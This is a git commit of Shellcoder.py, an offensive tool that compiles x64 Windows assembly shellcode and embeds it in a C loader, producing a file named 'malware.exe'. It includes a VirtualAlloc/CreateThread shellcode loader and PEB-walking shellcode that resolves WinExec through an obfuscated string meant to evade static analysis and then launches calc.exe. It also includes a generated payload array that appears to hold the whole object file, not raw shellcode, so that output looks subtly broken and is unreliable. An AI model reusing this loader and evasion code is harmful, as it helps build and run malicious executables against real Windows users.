This commit is contained in:
Print3M
2024-07-19 17:55:57 +02:00
commit fb20ede097
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# Shellcoder.py
Write your shellcode in Assembly and execute it with one command!
This script helps automate the shellcode testing process. It takes an Assembly file with the shellcode (`shellcode.asm`), compiles it into machine code (NASM), generates a payload in C with that, and pastes it into the `loader.c` file. Finally, the prepared C file is compiled using MSVC. With this script you go from Assembly shellcode to executable file with one command!
## Usage
Shellcoder most probably should be used on Windows because of the MSVC requirement.
```powershell
# Run script
python shellcoder.py
```
## External dependencies
- Python 3
- NASM (Netwide Assembler)
- Visual Studio 2022
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#include <windows.h>
void main() {
void* exec;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// Shellcode
unsigned char payload[] = ":PAYLOAD:";
unsigned int payload_len = 205;
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(exec, payload, payload_len);
rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
WaitForSingleObject(th, -1);
}
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#include <windows.h>
void main() {
void* exec;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// Shellcode
unsigned char payload[] = "\x64\x86\x1\x0\xce\x8b\x9a\x66\x9\x1\x0\x0\xa\x0\x0\x0\x0\x0\x0\x0\x2e\x74\x65\x78\x74\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\xcd\x0\x0\x0\x3c\x0\x0\x0\x9\x1\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x20\x0\x50\x60\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b\x5b\x3c\x4c\x1\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x8\x8b\x14\xb\x4c\x1\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x1\xc2\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x1\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x1\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b\xc\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x1\xc7\x48\x89\xd6\xf3\xa6\x74\x5\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x4\x44\x41\x8b\x4\x82\x4c\x1\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x7\x48\xb8\xf\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x8\x50\x51\xe8\xb0\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2\x48\x83\xec\x20\x41\xff\xd6\x2e\x66\x69\x6c\x65\x0\x0\x0\x0\x0\x0\x0\xfe\xff\x0\x0\x67\x1\x73\x68\x65\x6c\x6c\x63\x6f\x64\x65\x2e\x61\x73\x6d\x0\x0\x0\x0\x0\x2e\x74\x65\x78\x74\x0\x0\x0\x0\x0\x0\x0\x1\x0\x0\x0\x3\x1\xcd\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2e\x61\x62\x73\x6f\x6c\x75\x74\x0\x0\x0\x0\xff\xff\x0\x0\x3\x0\x0\x0\x0\x0\x4\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x6c\x6f\x6f\x70\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x69\x6e\x63\x6c\x6f\x6f\x70\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x0\x0\x0\x0\xf\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x61\x70\x69\x73\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x1b\x0\x0\x0\x67\x65\x74\x61\x70\x69\x61\x64\x64\x72\x0\x72\x65\x73\x6f\x6c\x76\x65\x61\x64\x64\x72\x0";
unsigned int payload_len = 205;
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(exec, payload, payload_len);
rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
WaitForSingleObject(th, -1);
}
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; Compile & get shellcode from Kali:
; nasm -f win64 popcalc.asm -o popcalc.o
; for i in $(objdump -D popcalc.o | grep "^ " | cut -f2); do echo -n "\x$i" ; done
; Get kernel32.dll base address
xor rdi, rdi ; RDI = 0x0
mul rdi ; RAX&RDX =0x0
mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB
mov rbx, [rbx+0x18] ; RBX = Address_of_LDR
mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
mov r8, rbx ; RBX & R8 = &kernel32.dll
; Get kernel32.dll ExportTable Address
mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader
add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
add cx, 0x88ff
shr rcx, 0x8 ; RCX = 0x88ff --> 0x88
mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable
; Get &AddressTable from Kernel32.dll ExportTable
xor r10, r10
mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable
add r10, r8 ; R10 = &AddressTable
; Get &NamePointerTable from Kernel32.dll ExportTable
xor r11, r11
mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)
; Get &OrdinalTable from Kernel32.dll ExportTable
xor r12, r12
mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable
add r12, r8 ; R12 = &OrdinalTable
jmp short apis
; Get the address of the API from the Kernel32.dll ExportTable
getapiaddr:
pop rbx ; save the return address for ret 2 caller after API address is found
pop rcx ; Get the string length counter from stack
xor rax, rax ; Setup Counter for resolving the API Address after finding the name string
mov rdx, rsp ; RDX = Address of API Name String to match on the Stack
push rcx ; push the string length counter to stack
loop:
mov rcx, [rsp] ; reset the string length counter from the stack
xor rdi,rdi ; Clear RDI for setting up string name retrieval
mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll
mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string)
repe cmpsb ; Compare strings at RDI & RSI
je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API
incloop:
inc rax
jmp short loop
; Find the address of GetProcAddress by using the last value of the Counter
resolveaddr:
pop rcx ; remove string length counter from top of stack
mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
add rax, r8 ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
push rbx ; place the return address from the api string call back on the top of the stack
ret ; return to API caller
apis: ; API Names to resolve addresses
; WinExec | String length : 7
xor rcx, rcx
add cl, 0x7 ; String length for compare string
mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec
not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll
push rax
push rcx ; push the string length counter to stack
call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable
mov r14, rax ; R14 = Kernel32.WinExec Address
; UINT WinExec(
; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0
; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL
; );
xor rcx, rcx
mul rcx ; RAX & RDX & RCX = 0x0
; calc.exe | String length : 8
push rax ; Null terminate string on stack
mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"
not rax
;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163
push rax ; RSP = "calc.exe",0x0
mov rcx, rsp ; RCX = "calc.exe",0x0
inc rdx ; RDX = 0x1 = SW_SHOWNORMAL
sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
call r14 ; Call WinExec("calc.exe", SW_HIDE)
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#!/usr/bin/env python3
#
# Shellcoder.py :
#
# Author: Print3M (https://github.com/Print3M)
#
# This script helps automate the shellcode testing process.
# It takes an Assembly file with shellcode, compiles
# it into machine code (NASM), generates a payload in C with that,
# and pastes it into the loader C file. Finally, the prepared C file
# is compiled using MSVC. With this script you go from Assembly
# shellcode to executable file with one command!
#
# External dependencies:
# - Python 3
# - NASM (Netwide Assembler)
# - Visual Studio 2022
import subprocess
import os
import sys
# Directory with output files
OUT_DIR = "out"
# Utility files
SHELLCODE_INPUT_FILE = "shellcode.asm"
SHELLCODE_OUTPUT_FILE = f"{OUT_DIR}\\shellcode.bin"
LOADER_INPUT_FILE = "loader.c"
LOADER_OUTPUT_FILE = f"{OUT_DIR}\\malware.c"
# String to be replaced by generated payload
PAYLOAD_STRING = ":PAYLOAD:"
# Name of final binary output file
BINARY_OUTPUT_FILE = f"{OUT_DIR}\\malware.exe"
# Batch script with Visual Studio compiler environment variables
MSVC_BATCH_SCRIPT = "C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\VC\\Auxiliary\\Build\\vcvars64.bat"
def is_cmd_available(cmd: str):
try:
subprocess.call(cmd, text=True)
except FileNotFoundError:
return False
return True
def assert_cmd(cmd: str):
if (is_cmd_available(cmd)):
return
print(f"[!] command not found: {cmd}", file=sys.stderr)
sys.exit(-1)
if __name__ == "__main__":
# Check if NASM is available
assert_cmd("nasm")
# Prepare output directory
os.makedirs(OUT_DIR, exist_ok=True)
# Compile Assembly
subprocess.run(
["nasm", "-f", "win64", SHELLCODE_INPUT_FILE, "-o", SHELLCODE_OUTPUT_FILE], check=True
)
print(f"[+] NASM: {SHELLCODE_INPUT_FILE} -> {SHELLCODE_OUTPUT_FILE}")
# Prepare C array with shellcode payload
payload = ""
with open(SHELLCODE_OUTPUT_FILE, "rb") as f:
bytes = bytearray(f.read())
size = len(bytes)
for byte in bytes:
payload += "\\" + hex(byte).lstrip("0")
print(f"[+] Payload size: {size} bytes")
# Inject payload into loader source code
with open(LOADER_INPUT_FILE, "r") as f:
loader = f.read()
loader = loader.replace(PAYLOAD_STRING, payload)
with open(LOADER_OUTPUT_FILE, "w") as f:
f.write(loader)
print(f"[+] {LOADER_INPUT_FILE} -> {LOADER_OUTPUT_FILE}")
# Compile final binary
print(f"[*] MSVC: Compilation of {LOADER_OUTPUT_FILE} \n")
cmd = f'"{MSVC_BATCH_SCRIPT}" && cd "{OUT_DIR}" && cl.exe "../{LOADER_OUTPUT_FILE}"'
proc = subprocess.run(cmd, check=True, text=True)
print(f"\n[+] Output binary ({BINARY_OUTPUT_FILE}) is ready to be executed!")